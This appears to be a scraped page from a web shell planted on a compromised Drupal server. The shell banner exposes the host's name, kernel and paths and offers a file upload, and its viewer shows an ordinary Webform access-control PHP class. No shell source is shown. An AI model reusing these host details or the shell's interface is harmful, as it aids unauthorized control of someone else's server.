Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/12park/web/modules/contrib/webform/src/Access/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/12park/web/modules/contrib/webform/src/Access/WebformVariantAccess.php

<?php

namespace Drupal\webform\Access;

use Drupal\Core\Access\AccessResult;
use Drupal\webform\WebformInterface;

/**
 * Defines the custom access control variant for the webform variants.
 */
class WebformVariantAccess {

  /**
   * Check whether the webform variant settings is enabled.
   *
   * @param \Drupal\webform\WebformInterface $webform
   *   A webform.
   *
   * @return \Drupal\Core\Access\AccessResultInterface
   *   The access result.
   */
  public static function checkVariantSettingsAccess(WebformInterface $webform) {
    return static::checkVariantAccess($webform);
  }

  /**
   * Check whether the webform variant create is enabled.
   *
   * @param \Drupal\webform\WebformInterface $webform
   *   A webform.
   * @param string $webform_variant
   *   A webform variant id.
   *
   * @return \Drupal\Core\Access\AccessResultInterface
   *   The access result.
   */
  public static function checkVariantCreateAccess(WebformInterface $webform, $webform_variant) {
    return static::checkVariantAccess($webform, $webform_variant);
  }

  /**
   * Check whether the webform variant is enabled.
   *
   * @param \Drupal\webform\WebformInterface $webform
   *   A webform.
   * @param string|null $webform_variant
   *   A webform variant id.
   *
   * @return \Drupal\Core\Access\AccessResultInterface
   *   The access result.
   */
  protected static function checkVariantAccess(WebformInterface $webform, $webform_variant = NULL) {
    if (!$webform->hasVariants()) {
      $access_result = AccessResult::forbidden();
    }
    else {
      /** @var \Drupal\webform\Plugin\WebformVariantManagerInterface $variant_manager */
      $variant_manager = \Drupal::service('plugin.manager.webform.variant');
      $variant_definitions = $variant_manager->getDefinitions();
      $variant_definitions = $variant_manager->removeExcludeDefinitions($variant_definitions);
      if ($webform_variant) {
        $access_result = AccessResult::allowedIf(!empty($variant_definitions[$webform_variant]));
      }
      else {
        unset($variant_definitions['broken']);
        $access_result = AccessResult::allowedIf(!empty($variant_definitions));
      }
    }

    return $access_result->addCacheTags(['config:webform.settings']);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net